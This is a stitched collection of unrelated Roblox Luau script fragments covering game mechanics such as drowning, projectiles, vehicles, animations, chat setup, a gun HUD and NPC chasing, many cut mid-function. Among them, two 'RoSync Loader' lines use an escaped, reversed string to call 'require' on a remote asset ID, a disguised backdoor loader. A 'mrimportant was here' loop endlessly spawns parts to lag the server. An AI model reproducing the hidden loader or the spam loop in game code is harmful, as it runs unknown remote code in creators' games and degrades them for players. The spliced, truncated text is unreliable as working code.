lastHealth2 = 100
maxWidth = 0.96
Humanoid.StateChanged:connect(onStateChanged)
game:GetService("RunService"):BindToRenderStep("Camera Update", 200, L_150_.Update)
while wait() do
if ServerConfig.CanDrown then
local headLoc = game.Workspace.Terrain:WorldToCell(player.Character.Head.Position)
local hasAnyWater = game.Workspace.Terrain:GetWaterCell(headLoc.x, headLoc.y, headLoc.z)
if player.Character.Humanoid.Health ~= 0 then
if hasAnyWater then
if air > 0 then
air = air-0.15
elseif air <= 0 then
air = 0
Evt.Afogar:FireServer()
end
else
if air < maxAir then
air = air + .5
end
end
end
if air <= 50 then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,air/50,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air < maxAir then
script.Parent.Frame.Oxygen.ImageColor3 = Color3.new(1,1,air/100)
script.Parent.Frame.Oxygen.Visible = true
elseif air >= maxAir then
script.Parent.Frame.Oxygen.Visible = false
end
script.Parent.Efeitos.Oxigen.ImageTransparency = air/100
if air <= 25 then
script.Parent.Efeitos.Oxigen.BackgroundTransparency = air/25
end
end
if ServerConfig.EnableStamina then
if Correndo.Value == true and Velocidade > 0 then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value - ServerConfig.RunValue
elseif Stances == 0 and (Correndo.Value == false or Velocidade <= 0) then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.StandRecover
elseif Stances == 1 and (Correndo.Value == false or Velocidade <= 0) then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.CrouchRecover
elseif Stances == 2 and (Correndo.Value == false or Velocidade <= 0) then
saude.Variaveis.Stamina.Value = saude.Variaveis.Stamina.Value + ServerConfig.ProneRecover
end
end
end
|
-- run for the first time |
if package:GetAttribute('FallbackImage') then
updateFallbackImage()
end
|
-- Make mainPart spin in a loop
--while true do
-- mainPart.CFrame = mainPart.CFrame * CFrame.Angles(0, math.rad(1), 0)
-- wait()
--end | |
-- find player's head pos |
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
--local head = vCharacter:findFirstChild("Head")
local head = locateHead()
if head == nil then return end
--computes a the intended direction of the projectile based on where the mouse was clicked in reference to the head
local dir = mouse_pos - head.Position
dir = computeDirection(dir)
local launch = head.Position + 3 * dir
local delta = mouse_pos - launch
local dy = delta.y
local new_delta = Vector3.new(delta.x, 0, delta.z)
delta = new_delta
local dx = delta.magnitude
local unit_delta = delta.unit
-- acceleration due to gravity in RBX units
local g = (-9.81 * 20)
local theta = computeLaunchAngle( dx, dy, g)
local vy = math.sin(theta)
local xz = math.cos(theta)
local vx = unit_delta.x * xz
local vz = unit_delta.z * xz
local missile = Pellet:clone()
missile.Position = launch
missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY
missile.PelletScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function locateHead()
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
return vCharacter:findFirstChild("Head")
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
fire(targetPos)
wait(FIRERATE)
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--[[
Waits for a child to be added with the specified class, or returns one
if it exists already.
--]] |
local function waitForChildOfClassAsync(instance: Instance, className: string)
local child = instance:FindFirstChildOfClass(className)
while not child do
instance.ChildAdded:Wait()
child = instance:FindFirstChildOfClass(className)
end
return child
end
return waitForChildOfClassAsync
|
--- Recalculate the window height |
function Window:UpdateWindowHeight()
local windowHeight = Gui.AbsoluteCanvasSize.Y
Gui.Size = UDim2.new(
Gui.Size.X.Scale,
Gui.Size.X.Offset,
0,
windowHeight > WINDOW_MAX_HEIGHT and WINDOW_MAX_HEIGHT or windowHeight
)
Gui.CanvasPosition = Vector2.new(0, windowHeight)
end
|
--[[local humanoidf = Instance.new("Humanoid")
humanoidf.Parent = game.Workspace.PlayerModule
humanoidf:ApplyDescription(game.Players:GetHumanoidDescriptionFromUserId(player.UserId))]] | |
--- |
script.Parent.Values.Gear.Changed:connect(function()
if script.Parent.Values.Gear.Value == -1 then
for index, child in pairs(car.Misc.TK.Trunk.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.Neon
car.DriveSeat.Reverse:Play()
end
else
for index, child in pairs(car.Misc.TK.Trunk.Lights.Rev:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
car.DriveSeat.Reverse:Stop()
end
end
end)
while wait() do
if (car.DriveSeat.Velocity.magnitude/40)+0.300 < 1.3 then
car.DriveSeat.Reverse.Pitch = (car.DriveSeat.Velocity.magnitude/40)+0.300
car.DriveSeat.Reverse.Volume = (car.DriveSeat.Velocity.magnitude/150)
else
car.DriveSeat.Reverse.Pitch = 1.3
car.DriveSeat.Reverse.Volume = .2
end
end
|
--[=[
Sets the value for the parent
@param parent Instance
@param instanceType string
@param name string
@param value any
@return any
]=] |
function ValueBaseUtils.setValue(parent, instanceType, name, value)
assert(typeof(parent) == "Instance", "Bad argument 'parent'")
assert(type(instanceType) == "string", "Bad argument 'instanceType'")
assert(type(name) == "string", "Bad argument 'name'")
local foundChild = parent:FindFirstChild(name)
if foundChild then
if not foundChild:IsA(instanceType) then
warn(("[ValueBaseUtils.setValue] - Value of type %q of name %q is of type %q in %s instead")
:format(instanceType, name, foundChild.ClassName, foundChild:GetFullName()))
end
foundChild.Value = value
else
local newChild = Instance.new(instanceType)
newChild.Name = name
newChild.Value = value
newChild.Parent = parent
end
end
|
-- Requires |
local WeaponDefinitonLoader = require(ReplicatedStorage.Common.WeaponDefintionLoader)
local PartUtility = require(ReplicatedStorage.Common.PartUtility)
|
-- @outline // RUNNERS |
function Camera.ClientInit()
if not System.IsStudio then
UIS.MouseBehavior = Enum.MouseBehavior.LockCenter
end
end
function Camera.ClientUpdate(dt : number)
if not Camera.Enabled then return end
Cam.CameraType = Enum.CameraType.Scriptable
Cam.CFrame = Camera:GetCFrame(dt)
end
return Camera
|
--WARNING!
--DO NOT MODIFY THE CODE BELOW! (Unless you want less than 4 motors. The lines you will need to delete are marked.) |
local motor1 = script.Parent.Base1.HingeConstraint --Don't delete this line
local display = script.Parent.Display.SurfaceGui.TextLabel
local current_mode = 0
function Mode_Up()
if current_mode < max_mode then
current_mode = current_mode + 1
motor1.AngularVelocity = motor1.AngularVelocity + increment_speed --Don't delete this line
display.Text = current_mode
end
end
function Mode_Down()
if current_mode > min_mode then
current_mode = current_mode - 1
motor1.AngularVelocity = motor1.AngularVelocity - increment_speed --Don't delete this line
display.Text = current_mode
end
end
script.Parent.Button_Up.ClickDetector.mouseClick:connect(Mode_Up)
script.Parent.Button_Down.ClickDetector.mouseClick:connect(Mode_Down)
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onRunning(speed)
if speed>0 then
playAnimation("walk", 0.1, Humanoid)
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing()
playAnimation("climb", 0.1, Humanoid)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
local function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end
local function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end
local function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end
local lastTick = 0
function move(time)
local amplitude = 1
local frequency = 1
local deltaTime = time - lastTick
lastTick = time
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
stopAllAnimations()
moveSit()
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then |
--["Walk"] = "rbxassetid://507777826", |
["Walk"] = "http://www.roblox.com/asset/?id=180426354",
["Idle"] = "http://www.roblox.com/asset/?id=180426354",
["SwingTool"] = "http://www.roblox.com/asset/?id=180426354"
}
local anims = {}
for animName,animId in next,preAnims do
local anim = Instance.new("Animation")
anim.AnimationId = animId
game:GetService("ContentProvider"):PreloadAsync({anim})
anims[animName] = animController:LoadAnimation(anim)
end
if not anims["Walk"].IsPlaying then
anims["Walk"]:Play()
end
|
--[[ Initialization/Setup ]] | --
local function createTouchGuiContainer()
if TouchGui then TouchGui:Destroy() end
-- Container for all touch device guis
TouchGui = Instance.new('ScreenGui')
TouchGui.Name = "TouchGui"
TouchGui.ResetOnSpawn = false
TouchGui.Parent = PlayerGui
TouchControlFrame = Instance.new('Frame')
TouchControlFrame.Name = "TouchControlFrame"
TouchControlFrame.Size = UDim2.new(1, 0, 1, 0)
TouchControlFrame.BackgroundTransparency = 1
TouchControlFrame.Parent = TouchGui
ThumbstickModule:Create(TouchControlFrame)
DPadModule:Create(TouchControlFrame)
ThumbpadModule:Create(TouchControlFrame)
TouchJumpModule:Create(TouchControlFrame)
DynamicThumbstickModule:Create(TouchControlFrame)
end
|
----- water handler ----- |
while true do
if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if BOTH ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0, 0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
hotWater = hotWater + 1
coldWater = coldWater + 1
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 0.6 then -- if ON and PLUGGED
water.Scale = water.Scale + Vector3.new(0, 0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
if script.Parent.HotOn.Value == true then
hotWater = hotWater + 1
else
coldWater = coldWater + 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 0.6 then -- if ON and NOT PLUGGED
if script.Parent.HotOn.Value == true then
coldWater = coldWater - 1
else
hotWater = hotWater - 1
end
drainSound:Stop()
elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED
water.Scale = water.Scale + Vector3.new(0, -0.01, 0)
water.Offset = Vector3.new(0, water.Scale.Y/2, 0)
coldWater = coldWater - 1
hotWater = hotWater - 1
drainSound.TimePosition = 0
drainSound:Play()
end
if coldWater < 1 then
coldWater = 1
end
if hotWater < 1 then
hotWater = 1
end
waterTemp = hotWater/coldWater
if waterTemp > 1 then
water.Parent.SteamEmitter.Enabled = true
else
water.Parent.SteamEmitter.Enabled = false
end
wait(0.1)
if script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true then
script.Parent.Splash.ParticleEmitter.Enabled = true
else
script.Parent.Splash.ParticleEmitter.Enabled = false
end
if water.Scale.Y <= 0 then
drainSound:Stop()
end
end |
--Clearing The Blood Function |
local deleteBlood = function(part)
local tween = tweenSize(part, 0.5, Enum.EasingDirection.In, Vector3.new(0, 0.1, 0))
spawn(function()
tween.Completed:Wait()
tween:Destroy()
part:Destroy()
end)
end |
--[[
[Horizontal and Vertical limts for head and body tracking.]
[Setting to 0 negates tracking, setting to 1 is normal tracking, and setting to anything higher than 1 goes past real life head/body rotation capabilities.]
--]] |
local HeadHorFactor = 1
local HeadVertFactor = 0.6
local BodyHorFactor = 0.5
local BodyVertFactor = 0.4
|
--Util |
function Util.spawner(func, ...)
local thread = coroutine.wrap(func)
return thread(...)
end
function Util.readTab(tab)
return repr(tab)
end
|
--mrimportant was here-- |
while true do
wait(0.03)
local part = Instance.new("Part", workspace)
part.Name = "Roblox generated parts."
part.Parent = game.ReplicatedStorage
part.Position = Vector3.new(1,1,1)
end
|
-- For luminance calculation formula look at: http://en.wikipedia.org/wiki/Grayscale |
local function IsDark(color)
local cieLuminance = 0.2126 * color.r + 0.7152 * color.g + 0.0722 * color.b
return cieLuminance < 0.4
end
local function LerpColor(startColor, endColor, duration)
local startTime = tick()
while tick() - startTime < duration do
wait(1 / MAX_STEPS)
local lerpedVec = startColor:Lerp(endColor, (tick() - startTime) / duration)
COLOR = Color3.new(lerpedVec.x,lerpedVec.y,lerpedVec.z)
if lerpedVec.x < 1 and lerpedVec.y < 1 and lerpedVec.z < 1 and lerpedVec.x > 0 and lerpedVec.y > 0 and lerpedVec.z > 0 then
script.Parent.Value = Color3.new(lerpedVec.x,lerpedVec.y,lerpedVec.z)
end
end
end
while true do
if tick() - t >= 30 then math.randomseed(tick()/2) end
t=tick()
local newcolor
repeat newcolor = BrickColor.Random()
until not IsDark(newcolor.Color)
print(newcolor)
LerpColor(Vector3.new(COLOR.r,COLOR.g,COLOR.b),Vector3.new(newcolor.Color.r,newcolor.Color.g,newcolor.Color.b),2)
end
|
--// This section of code waits until all of the necessary RemoteEvents are found in EventFolder.
--// I have to do some weird stuff since people could potentially already have pre-existing
--// things in a folder with the same name, and they may have different class types.
--// I do the useEvents thing and set EventFolder to useEvents so I can have a pseudo folder that
--// the rest of the code can interface with and have the guarantee that the RemoteEvents they want
--// exist with their desired names. |
local FFlagFixChatWindowHoverOver = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixChatWindowHoverOver")
end)
if ok then
FFlagFixChatWindowHoverOver = value
end
end
local FFlagFixMouseCapture = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixMouseCapture")
end)
if ok then
FFlagFixMouseCapture = value
end
end
local FFlagUserHandleChatHotKeyWithContextActionService = false do
local ok, value = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserHandleChatHotKeyWithContextActionService")
end)
if ok then
FFlagUserHandleChatHotKeyWithContextActionService = value
end
end
local FILTER_MESSAGE_TIMEOUT = 60
local RunService = game:GetService("RunService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Chat = game:GetService("Chat")
local StarterGui = game:GetService("StarterGui")
local ContextActionService = game:GetService("ContextActionService")
local DefaultChatSystemChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local EventFolder = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local messageCreatorModules = clientChatModules:WaitForChild("MessageCreatorModules")
local MessageCreatorUtil = require(messageCreatorModules:WaitForChild("Util"))
local ChatLocalization = nil
pcall(function() ChatLocalization = require(game:GetService("Chat").ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end
local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary
local waitChildren =
{
OnNewMessage = "RemoteEvent",
OnMessageDoneFiltering = "RemoteEvent",
OnNewSystemMessage = "RemoteEvent",
OnChannelJoined = "RemoteEvent",
OnChannelLeft = "RemoteEvent",
OnMuted = "RemoteEvent",
OnUnmuted = "RemoteEvent",
OnMainChannelSet = "RemoteEvent",
SayMessageRequest = "RemoteEvent",
GetInitDataRequest = "RemoteFunction",
} |
--[[ Last synced 8/18/2021 08:03 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ Last synced 8/18/2021 08:06 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[=[
Allows access to an attribute like a ValueObject.
```lua
local attributeValue = AttributeValue.new(workspace, "Version", "1.0.0")
print(attributeValue.Value) --> 1.0.0
print(workspace:GetAttribute("version")) --> 1.0.0
attributeValue.Changed:Connect(function()
print(attributeValue.Value)
end)
workspace:SetAttribute("1.1.0") --> 1.1.0
attributeValue.Value = "1.2.0" --> 1.2.0
```
@class AttributeValue
]=] |
local require = require(script.Parent.loader).load(script)
local RxAttributeUtils = require("RxAttributeUtils")
local AttributeValue = {}
AttributeValue.ClassName = "AttributeValue"
AttributeValue.__index = AttributeValue
|
--[[
[MAKING WAYPOINTS]
Basically you duplicate the point and put it anywhere in your maze
but accept safehouses[if you have any] and points that are out of the maze.
Now once you're done reading this just delete this script.
If you leave it, it really won't do anything at all.
]] |
script:Destroy() |
-- Credit: https://blog.elttob.uk/2022/11/07/sets-efficient-topological-search.html |
local function updateAll(root: PubTypes.Dependency)
local counters: {[Descendant]: number} = {}
local flags: {[Descendant]: boolean} = {}
local queue: {Descendant} = {}
local queueSize = 0
local queuePos = 1
for object in root.dependentSet do
queueSize += 1
queue[queueSize] = object
flags[object] = true
end
-- Pass 1: counting up
while queuePos <= queueSize do
local next = queue[queuePos]
local counter = counters[next]
counters[next] = if counter == nil then 1 else counter + 1
print(counter)
if (next :: any).dependentSet ~= nil then
for object in (next :: any).dependentSet do
queueSize += 1
queue[queueSize] = object
end
end
queuePos += 1
end
-- Pass 2: counting down + processing
queuePos = 1
while queuePos <= queueSize do
local next = queue[queuePos]
counters[next] -= 1
if counters[next] == 0 and flags[next] and next:update() and (next :: any).dependentSet ~= nil then
for object in (next :: any).dependentSet do
flags[object] = true
end
end
queuePos += 1
end
end
return updateAll
|
------ |
UIS.InputBegan:connect(function(i,GP)
if not GP then
if i.KeyCode == Enum.KeyCode.A then REvent:FireServer("A",true) end
if i.KeyCode == Enum.KeyCode.D then REvent:FireServer("D",true) end
if i.KeyCode == Enum.KeyCode.W then REvent:FireServer("W",true) end
if i.KeyCode == Enum.KeyCode.S then REvent:FireServer("S",true) end
if i.KeyCode == Enum.KeyCode.E then REvent:FireServer("E",true) end
if i.KeyCode == Enum.KeyCode.Q then REvent:FireServer("Q",true) end
end
end)
UIS.InputEnded:connect(function(i,GP)
if not GP then
if i.KeyCode == Enum.KeyCode.A then REvent:FireServer("A",false) end
if i.KeyCode == Enum.KeyCode.D then REvent:FireServer("D",false) end
if i.KeyCode == Enum.KeyCode.W then REvent:FireServer("W",false) end
if i.KeyCode == Enum.KeyCode.S then REvent:FireServer("S",false) end
if i.KeyCode == Enum.KeyCode.E then REvent:FireServer("E",false) end
if i.KeyCode == Enum.KeyCode.Q then REvent:FireServer("Q",false) end
end
end)
spawn(function()
while wait() do
if Player.Character.Humanoid.Sit == false then
local t={"A","D","W","S","E","Q"}
for i,v in pairs(t) do
REvent:FireServer(v,false)
end
script:Destroy()
end
end
end)
|
--- FUNCTIONS --- |
Distribute = function(NPC)
if NPC:IsA("Model") then
if script:FindFirstChild(NPC.Name.."Behavior") then
local CloneScript = script:FindFirstChild(NPC.Name.."Behavior"):Clone()
CloneScript.Parent = NPC
CloneScript.Enabled = true
end
end
end
|
--------------------[ GUI SETUP FUNCTION ]-------------------------------------------- |
function ConvertKey(Key)
if Key == string.char(8) then
return "BKSPCE"
elseif Key == string.char(9) then
return "TAB"
elseif Key == string.char(13) then
return "ENTER"
elseif Key == string.char(17) then
return "UP"
elseif Key == string.char(18) then
return "DOWN"
elseif Key == string.char(19) then
return "RIGHT"
elseif Key == string.char(20) then
return "LEFT"
elseif Key == string.char(22) then
return "HOME"
elseif Key == string.char(23) then
return "END"
elseif Key == string.char(27) then
return "F2"
elseif Key == string.char(29) then
return "F4"
elseif Key == string.char(30) then
return "F5"
elseif Key == string.char(32) or Key == " " then
return "F7"
elseif Key == string.char(33) or Key == "!" then
return "F8"
elseif Key == string.char(34) or Key == '"' then
return "F9"
elseif Key == string.char(35) or Key == "#" then
return "F10"
elseif Key == string.char(37) or Key == "%" then
return "F12"
elseif Key == string.char(47) or Key == "/" then
return "R-SHIFT"
elseif Key == string.char(48) or Key == "0" then
return "L-SHIFT"
elseif Key == string.char(49) or Key == "1" then
return "R-CTRL"
elseif Key == string.char(50) or Key == "2" then
return "L-CTRL"
elseif Key == string.char(51) or Key == "3" then
return "R-ALT"
elseif Key == string.char(52) or Key == "4" then
return "L-ALT"
else
return string.upper(Key)
end
end
function CreateControlFrame(Key, Desc, Num)
local Controls = Gui_Clone:WaitForChild("HUD"):WaitForChild("Controls")
local C = Instance.new("Frame")
C.BackgroundTransparency = ((Num % 2) == 1 and 0.7 or 1)
C.BorderSizePixel = 0
C.Name = "C"..Num
C.Position = UDim2.new(0, 0, 0, Num * 20)
C.Size = UDim2.new(1, 0, 0, 20)
local K = Instance.new("TextLabel")
K.BackgroundTransparency = 1
K.Name = "Key"
K.Size = UDim2.new(0, 45, 1, 0)
K.Font = Enum.Font.ArialBold
K.FontSize = Enum.FontSize.Size14
K.Text = Key
K.TextColor3 = Color3.new(1, 1, 1)
K.TextScaled = (string.len(Key) > 5)
K.TextWrapped = (string.len(Key) > 5)
K.Parent = C
local D = Instance.new("TextLabel")
D.BackgroundTransparency = 1
D.Name = "Desc"
D.Position = UDim2.new(0, 50, 0, 0)
D.Size = UDim2.new(1, -50, 1, 0)
D.Font = Enum.Font.ArialBold
D.FontSize = Enum.FontSize.Size14
D.Text = "- "..Desc
D.TextColor3 = Color3.new(1, 1, 1)
D.TextXAlignment = Enum.TextXAlignment.Left
D.Parent = C
C.Parent = Controls
end
function SetUpGui()
local HUD = Gui_Clone:WaitForChild("HUD")
local Scope = Gui_Clone:WaitForChild("Scope")
local Grenades = HUD:WaitForChild("Grenades")
local Controls = HUD:WaitForChild("Controls")
local CurrentNum = 1
if S.CanChangeStance then
local Dive = (S.DolphinDive and " / Dive" or "")
CreateControlFrame(ConvertKey(S.LowerStanceKey), "Lower Stance"..Dive, CurrentNum)
CurrentNum = CurrentNum + 1
CreateControlFrame(ConvertKey(S.RaiseStanceKey), "Raise Stance", CurrentNum)
CurrentNum = CurrentNum + 1
end
CreateControlFrame(ConvertKey(S.ReloadKey), "Reload", CurrentNum)
CurrentNum = CurrentNum + 1
if S.CanKnife then
CreateControlFrame(ConvertKey(S.KnifeKey), "Knife", CurrentNum)
CurrentNum = CurrentNum + 1
end
if S.Throwables then
CreateControlFrame(ConvertKey(S.LethalGrenadeKey), "Throw Lethal", CurrentNum)
CurrentNum = CurrentNum + 1
CreateControlFrame(ConvertKey(S.TacticalGrenadeKey), "Throw Tactical", CurrentNum)
CurrentNum = CurrentNum + 1
else
Grenades.Visible = false
HUD.Position = UDim2.new(1, -200, 1, -100)
HUD.Size = UDim2.new(0, 175, 0, 50)
end
CreateControlFrame(ConvertKey(S.SprintKey), "Sprint", CurrentNum)
CurrentNum = CurrentNum + 1
if S.ADSKey ~= "" then
local Hold = (S.HoldMouseOrKeyToADS and "HOLD " or "")
CreateControlFrame(Hold..ConvertKey(S.ADSKey).." OR R-MOUSE", "Aim Down Sights", CurrentNum)
CurrentNum = CurrentNum + 1
end
Controls.Size = UDim2.new(1, 0, 0, CurrentNum * 20)
Controls.Position = UDim2.new(0, 0, 0, -(CurrentNum * 20) - 80)
if S.GuiScope then
Scope:WaitForChild("Img").Image = S.GuiId
Scope:WaitForChild("Steady").Text = "Hold "..ConvertKey(S.ScopeSteadyKey).." to Steady"
end
if HUD:FindFirstChild("Co") then
HUD.Co:Destroy()
end
local Co = Instance.new("TextLabel")
Co.BackgroundTransparency = 1
Co.Name = "Co"
Co.Position = UDim2.new(0, 0, 1, 5)
Co.Size = UDim2.new(1, 0, 0, 20)
Co.Font = Enum.Font.ArialBold
Co.FontSize = Enum.FontSize.Size14
Co.Text = ("noisuFobruT yb detpircs tiK nuG"):reverse()
Co.TextColor3 = Color3.new(1, 1, 0)
Co.TextStrokeTransparency = 0
Co.TextXAlignment = Enum.TextXAlignment.Right
Co.Parent = HUD
HUD:WaitForChild("Grenades"):WaitForChild("Lethals"):WaitForChild("Icon").Image = LethalIcons[S.LethalGrenadeType]
HUD:WaitForChild("Grenades"):WaitForChild("Tacticals"):WaitForChild("Icon").Image = TacticalIcons[S.TacticalGrenadeType]
end
|
--Equip Handler |
Weapons = {
[Enum.KeyCode.One] = script.Parent.Primary,
[Enum.KeyCode.Two] = script.Parent.Secondary,
[Enum.KeyCode.Three] = script.Parent.Melee
}
Selected = script.Parent.Primary
function Select(Weapon)
Weapon:TweenSize(UDim2.new(0.15,0,0.1,0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,0.1,true)
end
function Deselect(Weapon)
Weapon:TweenSize(UDim2.new(0.12,0,0.1,0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,0.1,true)
end
UIS.InputBegan:Connect(function(input)
local Key = Weapons[input.KeyCode]
if Key then
Deselect(Selected)
Selected = Key
Select(Selected)
end
end)
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 330 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- services |
local ServerScriptService = game:GetService("ServerScriptService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local TextService = game:GetService("TextService")
local Chat = game:GetService("Chat")
local Players = game:GetService("Players")
|
--Connections |
playerService.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local rootPart = character:WaitForChild("HumanoidRootPart")
local humanoid = character:WaitForChild("Humanoid")
local oldHealth = humanoid.Health
local particlesClone = bloodParticles:Clone()
particlesClone.Parent = rootPart
humanoid.HealthChanged:Connect(function(health)
if health < oldHealth then
oldHealth = health
spawn(function()
for i = 1, blood_part_per_hit do
local randomPosition = math.random(-20, 20) / 10
local raycastOrigin = rootPart.Position + Vector3.new(randomPosition, 0, randomPosition)
local raycastDirection = Vector3.new(0, -8, 0)
local raycastResult = raycast(character, raycastOrigin, raycastDirection)
if raycastResult then
particlesClone:Emit(2)
delay(0.5, function()
local newBlood = createBlood(raycastResult.Position)
expandBlood(newBlood)
delay(blood_destroy_delay, function()
deleteBlood(newBlood)
end)
end)
end
wait(math.random(0.5, 2) / 10)
end
end)
else
oldHealth = health
end
end)
end)
end)
|
--[[function playsound(time)
nextsound=time+5+(math.random()*5)
local randomsound=sounds[math.random(1,#sounds)]
randomsound.Volume=.5+(.5*math.random())
randomsound.Pitch=.5+(.5*math.random())
randomsound:Play()
end]] |
while sp.Parent~=nil and Humanoid and Humanoid.Parent~=nil and Humanoid.Health>0 and Torso and Head and Torso~=nil and Torso.Parent~=nil do
local _,time=wait(0.25)--wait(1/3)
humanoids={}
populatehumanoids(game.Workspace)
closesttarget=nil
closestdist=sightrange
local creator=sp:FindFirstChild("creator")
for i,h in ipairs(humanoids) do
if h and h.Parent~=nil then
if h.Health>0 and h.Parent~=sp then
local plr=game.Players:GetPlayerFromCharacter(h.Parent)
if creator==nil or plr==nil or creator.Value~=plr then
local t=h.Parent:FindFirstChild("Torso")
if t~=nil then
local dist=(t.Position-Torso.Position).magnitude
if dist<closestdist then
closestdist=dist
closesttarget=t
end
end
end
end
end
end
if closesttarget~=nil then
if not chasing then
--playsound(time)
chasing=true
Humanoid.WalkSpeed=runspeed
BARKING:Play()
end
